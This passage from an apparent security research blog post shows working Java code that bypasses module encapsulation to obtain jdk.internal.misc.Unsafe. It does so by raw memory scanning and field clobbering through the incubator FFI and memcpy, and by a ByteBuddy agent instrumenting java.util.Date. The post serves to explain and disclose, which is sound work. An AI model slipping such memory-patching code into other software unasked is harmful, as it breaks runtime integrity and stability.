long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, class_field_module);
UnsafeWrapper.invoke("putLong", new Class<?>[]{Object.class, long.class, long.class}, clobber, moduleFieldOffset, with);
} catch (Throwable t) {
t.printStackTrace();
}
}
try {
UnsafeWrapper.init("path/to/test.dylib.or.so");
System.out.println(Main.class.getModule());
long main_original_module = patchClassModule(Main.class, Integer.class);
System.out.println(Main.class.getModule());
test1();
stompModule(Main.class, main_original_module);
System.out.println(Main.class.getModule());
} catch (Throwable t) {
t.printStackTrace();
}
Incubator FFIs
In the past several versions of Java, JEP 4125 (previously JEP 370,6 JEP 383,7 JEP 389,8 and JEP 3939) — there are newer versions of these features in OpenJDK 18 (JEP 41910), 19 (JEP 42411), and 20 (JEP 43412), but the current LTS is OpenJDK 17 — have attempted to add a more robust FFI enabling Java programs to more dynamically interact with native code without having to resort to the ancient JNI. While still in incubator status, these FFI APIs have given Java the ability to directly invoke native functions and to a certain degree, allocate and manipulate raw memory. This is pretty powerful as one no longer needs to write binding JNI C/C++ just to call into a native library:
MethodHandle isatty = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("isatty").orElseThrow(Exception::new),
MethodType.methodType(int.class, int.class),
FunctionDescriptor.of(CLinker.C_INT, CLinker.C_INT)
);
System.out.println("isatty(0): " + isatty.invoke(0));
System.out.println("isatty(1): " + isatty.invoke(1));
System.out.println("isatty(2): " + isatty.invoke(2));
MethodHandle printftest = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("printf").orElseThrow(Exception::new),
MethodType.methodType(int.class, MemoryAddress.class, MemoryAddress.class),
FunctionDescriptor.of(CLinker.C_INT, CLinker.C_POINTER, CLinker.C_POINTER)
);
String fmt = "hello %s\n";
String arg = "world";
try(ResourceScope scope = ResourceScope.newConfinedScope()) {
SegmentAllocator allocator = SegmentAllocator.arenaAllocator(scope);
MemorySegment _fmt = CLinker.toCString(fmt, allocator);
MemorySegment _arg = CLinker.toCString(arg, allocator);
int len = (int) printftest.invokeExact(_fmt.address(), _arg.address());
}
For our purposes though, a more interesting use case for this is as a
mechanism to read and write raw memory. We can then scan for Java object
instances in memory and directly manipulate them. This isn’t the most stable
thing in the world, but it is very much possible. In our case, we search for the
object instances of our class and the java.io.ObjectStreamClass
class using
their hash codes. We then take the raw module
field value from
java.io.ObjectStreamClass
(java.base
) and clobber the same offset of our
class, effectively placing it in java.base
and giving it access to
jdk.internal.misc.Unsafe
. While we could have done this entirely within a
JNI-loaded shared object, or even via ptrace(2)
, the new Java FFI gives us
the ability to do it entirely in Java without writing a line of native code.
In fact, in our code targeting Java 17, we call into memcpy
as
an arbitrary pointer dereferencer, but in OpenJDK 18’s JEP 419, a series of
APIs are added to provide direct reading from and writing to pointers.
Assuming something of the sort makes it into the next LTS, that will probably
be a lot nicer to use and we won’t even need to call into a shared library like
libc.
Note: As an incubator API, the FFI is not the simplest thing to enable
and use, and this is exacerbated by the general unusability of Java modules.
In general, the --enable-native-access=
option will be needed to access the
functionality, and --add-modules jdk.incubator.foreign
will be needed to
expose the incubator module.
Incubator FFI Example
package trust.nccgroup.linkertest;
import jdk.incubator.foreign.CLinker;
import jdk.incubator.foreign.FunctionDescriptor;
import jdk.incubator.foreign.*;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodType;
import java.nio.file.*;
import java.nio.*;
import java.util.*;
import java.lang.reflect.*;
import java.io.*;
// $ ./gradlew build
// $ java --add-modules jdk.incubator.foreign --enable-native-access=trust.nccgroup.linkertest -p build/libs/linkertest.jar -m trust.nccgroup.linkertest/trust.nccgroup.linkertest.LinkerTest
public class LinkerTest {
public LinkerTest() {
}
public static long scanForClass(Class<?> cls) throws Throwable {
System.out.println("scanning for " + cls);
MethodHandle memcpywrapper = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
);
ResourceScope scope = ResourceScope.newConfinedScope();
MemorySegment ms = MemorySegment.allocateNative(8, 1024, scope);
ByteBuffer bb = ms.asByteBuffer();
int hashcode = System.identityHashCode(cls);
int hashcode2 = cls.hashCode();
if (hashcode != hashcode2) {
System.out.println("mismatched hashcodes for " + cls);
}
int hashcoder = Integer.reverseBytes(hashcode);
String maps = new String(Files.readAllBytes(Paths.get("/proc/self/maps")));
String[] lines = maps.split("\n");
ArrayList<Long[]> entries = new ArrayList<>();
for (String line : lines) {
if ((line.indexOf(" rw-p ") != -1 || line.indexOf(" r--p ") != -1)) {
String[] parts = line.split(" ");
String[] range = parts[0].split("-");
long a = Long.parseLong(range[0], 16);
long b = Long.parseLong(range[1], 16);
entries.add(new Long[]{a, b});
}
}
for (Long[] range : entries) {
for (long i = range[0]; i+3 < range[1]; i+=1) {
memcpywrapper.invokeExact(ms.address(), i, (long)4);
int v = bb.position(0).getInt();
if (v == hashcoder) {
memcpywrapper.invokeExact(ms.address(), i+7, (long)2);
if ( ((bb.position(0).get(0) & 0xff) == 0x58)
&& ((bb.position(0).get(1) & 0xff) == 0x17) ) {
System.out.println("found: " + Long.toHexString(i-1));
dumpClass(i-1);
return i-1;
}
}
}
}
return 0;
}
public static void dumpClass(long addr) throws Throwable {
MethodHandle memcpywrapper = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
);
ResourceScope scope = ResourceScope.newConfinedScope();
MemorySegment ms = MemorySegment.allocateNative(8, 1024, scope);
ByteBuffer bb = ms.asByteBuffer();
if (addr != 0) {
for (long ii = addr-1; ii+3 < addr+0x60+3; ii+=4) {
memcpywrapper.invokeExact(ms.address(), ii, (long)4);
String a = Integer.toHexString(bb.position(0).get(0) & 0xff);
String _b = Integer.toHexString(bb.position(0).get(1) & 0xff);
String c = Integer.toHexString(bb.position(0).get(2) & 0xff);
String d = Integer.toHexString(bb.position(0).get(3) & 0xff);
System.out.println("[" + Long.toHexString(ii) + "]: " + a + " " + _b + " " + c + " " + d);
}
} else {
System.out.println("addr == null");
}
}
public static void writeInt(long addr, int val) throws Throwable {
MethodHandle memcpywrapperW = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
MethodType.methodType(void.class, long.class, MemoryAddress.class, long.class),
FunctionDescriptor.ofVoid(CLinker.C_LONG, CLinker.C_POINTER, CLinker.C_LONG)
);
ResourceScope scope = ResourceScope.newConfinedScope();
MemorySegment ms = MemorySegment.allocateNative(4, 1024, scope);
ByteBuffer bb = ms.asByteBuffer();
bb.putInt(val);
memcpywrapperW.invoke(addr, ms.address(), (long)4);
}
public static int readInt(long addr) throws Throwable {
MethodHandle memcpywrapperR = CLinker.getInstance().downcallHandle(
CLinker.systemLookup().lookup("memcpy").orElseThrow(Exception::new),
MethodType.methodType(void.class, MemoryAddress.class, long.class, long.class),
FunctionDescriptor.ofVoid(CLinker.C_POINTER, CLinker.C_LONG, CLinker.C_LONG)
);
ResourceScope scope = ResourceScope.newConfinedScope();
MemorySegment ms = MemorySegment.allocateNative(4, 1024, scope);
ByteBuffer bb = ms.asByteBuffer();
memcpywrapperR.invoke(ms.address(), addr, (long)4);
int val = bb.position(0).getInt();
return val;
}
public static void main(String[] argv) throws Throwable {
long linkertestaddr = scanForClass(LinkerTest.class);
long oscaddr = scanForClass(ObjectStreamClass.class);
System.out.println("linkertestaddr: " + Long.toHexString(linkertestaddr));
System.out.println("oscaddr: " + Long.toHexString(oscaddr));
try {
Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
Method m = unsafeClass.getDeclaredMethod("getUnsafe");
Object unsafe = m.invoke(null);
System.out.println(unsafe);
} catch (Throwable t) {
t.printStackTrace();
}
if (linkertestaddr != 0 && oscaddr != 0) {
int origmodule = readInt(linkertestaddr + 48);
int javabasejavaiomodule = readInt(oscaddr + 48);
writeInt(linkertestaddr + 48, javabasejavaiomodule);
System.out.println(LinkerTest.class.getModule());
if (!LinkerTest.class.getModule().equals(ObjectStreamClass.class.getModule())) {
System.out.println("didn't work, trying again...");
writeInt(linkertestaddr + 48, origmodule);
java.util.concurrent.TimeUnit.SECONDS.sleep(2);
LinkerTest.main(argv);
return;
}
try {
Class<?> unsafeClass = Class.forName("jdk.internal.misc.Unsafe");
Method m = unsafeClass.getDeclaredMethod("getUnsafe");
Object unsafe = m.invoke(null);
System.out.println(unsafe);
} catch (Throwable t) {
t.printStackTrace();
}
}
}
}
Java Agents
Java agent JARs are loaded within the unnamed module of the system class loader
and have the ability to modify and transform the java.base
module and its
classes, among other things, enabling them to do pretty much anything. However,
when a Java process is started in module mode, any Java agents will, by
default, not have access to sun.misc.Unsafe
(unless the main module
requires jdk.unsupported;
) or jdk.internal.misc.Unsafe
(due to module
restrictions). Because of the powers of Java agents, it is foolish to block
them from accessing Unsafe
. In the below example code, we instrument the
clone
and equals
methods of java.util.Date
in the java.base
module to
return a jdk.internal.misc.Unsafe
instance, and migrate the UnsafeWrapper
class into the java.base
module, respectively.
Java Agent Example
package trust.nccgroup.agenttest;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import net.bytebuddy.agent.builder.ResettableClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.*;
import java.util.Date;
import trust.nccgroup.UnsafeWrapper;
@SuppressWarnings("unused")
public class Agent {
public static void premain(String args, Instrumentation inst) {
agentmain(args, inst);
}
public static void agentmain(String args, Instrumentation inst) {
try {
System.out.println(Class.forName("sun.misc.Unsafe"));
} catch (Throwable t) {
t.printStackTrace();
}
try {
System.out.println(Class.forName("jdk.internal.misc.Unsafe"));
} catch (Throwable t) {
t.printStackTrace();
}
Object iunsafe = null;
try {
ResettableClassFileTransformer rcft1 = new AgentBuilder.Default()
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION)
//.with(new AgentBuilder.Listener.StreamWriting(System.err))
.ignore(ElementMatchers.nameStartsWith("net.bytebuddy."))
.type(ElementMatchers.named("java.util.Date"))
.transform(
(builder, _cl, _td, _mod, _pd) -> {
return builder.visit(
Advice.to(CloneWrapper.class)
.on(
ElementMatchers.named("clone")
.and(ElementMatchers.takesArguments(0))
)
);
}
)
.installOn(inst);
ResettableClassFileTransformer rcft2 = new AgentBuilder.Default()
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.RETRANSFORMATION)
//.with(new AgentBuilder.Listener.StreamWriting(System.err))
.ignore(ElementMatchers.nameStartsWith("net.bytebuddy."))
.type(ElementMatchers.named("java.util.Date"))
.transform(
(builder, _cl, _td, _mod, _pd) -> {
return builder.visit(
Advice.to(EqualsWrapper.class)
.on(
ElementMatchers.named("equals")
.and(ElementMatchers.takesArguments(1))
)
);
}
)
.installOn(inst);
System.out.println(UnsafeWrapper.class);
System.out.println(UnsafeWrapper.class.getModule());
System.setProperty("NCC_UNSAFE_PLEASE", "1");
Date key = new Date(42);
iunsafe = key.clone();
key.equals(UnsafeWrapper.class);
System.clearProperty("NCC_UNSAFE_PLEASE");
rcft1.reset(inst, AgentBuilder.RedefinitionStrategy.RETRANSFORMATION);
rcft2.reset(inst, AgentBuilder.RedefinitionStrategy.RETRANSFORMATION);
System.out.println(UnsafeWrapper.class);
System.out.println(UnsafeWrapper.class.getModule());
} catch (Throwable t) {
t.printStackTrace();
}
if (iunsafe != null) {
try {
UnsafeWrapper.init(iunsafe);
Field moduleField = Class.class.getDeclaredField("module");
long moduleFieldOffset = (long)(Long)UnsafeWrapper.invoke("objectFieldOffset", new Class<?>[]{Field.class}, moduleField);
System.out.println("Class.module offset: " + moduleFieldOffset);
Field errField = System.class.getDeclaredField("err");
long errFieldOffset = (long)(Long)UnsafeWrapper.invoke("staticFieldOffset", new Class<?>[]{Field.class}, errField);
System.out.println("System.err offset: " + errFieldOffset);
} catch (Throwable t) {
t.printStackTrace();
}
}
}
static class CloneWrapper {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
static Object enter(@Advice.This Object self) {
if (((Date)self).getTime() == 42) {
if ("1".equals(System.getProperty("NCC_UNSAFE_PLEASE"))) {
try {
Class<?> iunsafeClass = Class.forName("jdk.internal.misc.Unsafe");
Method getUnsafe = iunsafeClass.getMethod("getUnsafe");
Object iunsafe = getUnsafe.invoke(null);
return iunsafe;
} catch (Throwable t) {
t.printStackTrace();
}
}
}
return null;
}
@Advice.OnMethodExit
static void exit(@Advice.Enter Object enterret, @Advice.Return(readOnly=false, typing=Assigner.Typing.DYNAMIC) Object ret) {
if (enterret != null) {
ret = enterret;
}
}
}
static class EqualsWrapper {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
static Object enter(@Advice.This Object self,
@Advice.Argument(readOnly=false, typing=Assigner.Typing.DYNAMIC, value = 0) Object obj) {
if (((Date)self).getTime() == 42 && obj instanceof Class) {
if ("1".equals(System.getProperty("NCC_UNSAFE_PLEASE"))) {
try {
Class<?> iunsafeClass = Class.forName("jdk.internal.misc.Unsafe");
Method getUnsafe = iunsafeClass.getMethod("getUnsafe");
Object iunsafe = getUnsafe.invoke(null);
Method getInt = iunsafeClass.getDeclaredMethod("getInt", Object.class, long.class);
Method putInt = iunsafeClass.getDeclaredMethod("putInt", Object.class, long.class, int.class);
Method objectFieldOffset = iunsafeClass.getDeclaredMethod("objectFieldOffset", Class.class, String.class);
long module_off = (Long)objectFieldOffset.invoke(iunsafe, Class.class, "module");
Class<?> objclass = (Class<?>)obj;
Class<?> ownclass = self.getClass();
int javabase = (Integer)getInt.invoke(iunsafe, ownclass, module_off);
putInt.invoke(iunsafe, objclass, module_off, javabase);
return "skip";
} catch (Throwable t) {
t.printStackTrace();
}
}
}
return null;
}
@Advice.OnMethodExit
static void exit(@Advice.Enter Object enterret, @Advice.Return(readOnly=false, typing=Assigner.Typing.DYNAMIC) Object ret) {
if (enterret != null) {
ret = false;
}
}
}
}
package trust.nccgroup;
import java.lang.reflect.*;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.module.*;
import java.nio.file.Path;
import java.util.*;
import java.util.stream.*;
public class UnsafeWrapper {
private static String type = null;
private static Object theUnsafe = null;
private static Map<String,Map<String,Method>> methods = new HashMap<>();
private UnsafeWrapper() { }
public static String type() {
return type;
}
private static final Map<Class<?>,Class<?>> boxmap = Stream.of(new Class<?>[][] {
{ Void.TYPE, Void.class },
{ Long.TYPE, Long.class },
{ Integer.TYPE, Integer.class },
{ Short.TYPE, Short.class },
{ Byte.TYPE, Byte.class },
{ Float.TYPE, Float.class },
{ Double.TYPE, Double.class },
{ Boolean.TYPE, Boolean.class },
{ Character.TYPE, Character.class },
}).collect(Collectors.toMap(data -> data[0], data -> data[1]));
public static Object invoke(String method_name, Class<?>[] types, Object... args) {
Map<String,Method> mm = methods.get(method_name);
if (mm == null) {
System.err.println("method name not found: " + method_name);
return null;
}
String sig_str = Arrays.toString(types);
Method m = mm.get(sig_str);
if (m == null) {
System.err.println("method sig not found: " + method_name + "(" + sig_str + ")");
return null;
}
try {
return m.invoke(theUnsafe, args);
} catch (Throwable t) {
t.printStackTrace();
return null;
}
}
public static boolean init(Object _theUnsafe) {
try {
theUnsafe = _theUnsafe;
System.out.println(theUnsafe);
Class<?> c = theUnsafe.getClass();
type = c.toString();
System.out.println(c);
for (Method m : c.getDeclaredMethods()) {
Map<String,Method> mm = methods.get(m.getName());
if (mm == null) {
mm = new HashMap<>();
methods.put(m.getName(), mm);
}
Class<?>[] param_types = m.getParameterTypes();
String sig_str = Arrays.toString(param_types);
mm.put(sig_str, m);
}
return true;
} catch (Throwable t) {
t.printStackTrace();
return false;
}
}
}
Similarly, JVMTI agents (loaded as agents vs via JNI chicanery) can do essentially whatever they want.
Modules vs Fat Jars
Building, packaging, and deploying Java module-based applications is a
nightmare as most tooling either doesn’t really deem fit to support the JPMS
because of its neurosis around requiring that dependencies are themselves Java
modules, or thinks that it is the “one true way.” The actual solution is to
simply reference and load dependencies via the classpath, but outside of raw
javac
commands, this doesn’t seem to be that well supported.
Thankfully, no one uses any of this, which is why no one seems to care about
the build tooling all that much. In the real world, Java applications are built
as “fat” JARs that bundle dependencies into the same JAR as the application
code. Among other things, it means that a fat JAR can effectively run anywhere
and that its dependencies will be fixed at build time (the problem of differing
dependency versions at runtime has long plagued Java, and the JPMS, among other
things, reintroduces this pattern for some reason). Fat JARs are generally the
right way to build Java applications, and Java build tools seem to have
prioritized them over modules in stripping the module-info.class
files from
merged dependency JARs. As they are run using -jar
and -cp
, they run from
the unnamed module and have access to basic runtime functionality.
Conclusion
Java 17 presents an interesting inflection point, where it has both forcibly enabled the module system’s wayward restrictions, and yet still supports the security manager infrastructure right before it is to be removed. This oddly makes it appear as if Java 17 is accidentally the most “secure” Java version that may ever exist. However, it is important to distinguish that these restrictions are not legitimate and that their bolting on does not actually make Java or the JVM more secure.
The Java module system is not about protecting your code from itself or others, it’s about preventing you from using important Java features that have been there for over twenty years. Do not treat it as a security boundary and always treat your Java applications as if they or any code they load can arbitrarily manipulate the runtime… because they can (especially since the security manager sandbox infrastructure is being gutted).
Future
Much like the Java browser plugin before it, JVM JIT bugs are likely going to get relatively hot (and if history is any indicator, there will be a neverending onslaught of them) so long as the Java module system is presented as a security boundary, and people believe it. Due to this there will probably be a lot more of these kinds of issues identified, and they will likely get inflated CVSS scores that make it more difficult to determine which Java “vulnerabilities” are actually real and need to be dealt with.
I also expect that there will be a generally bountiful recurring harvest of
sun.misc.Unsafe
“gadgets” or other exposed Java internals that can still be
reached to do “bad things”™️.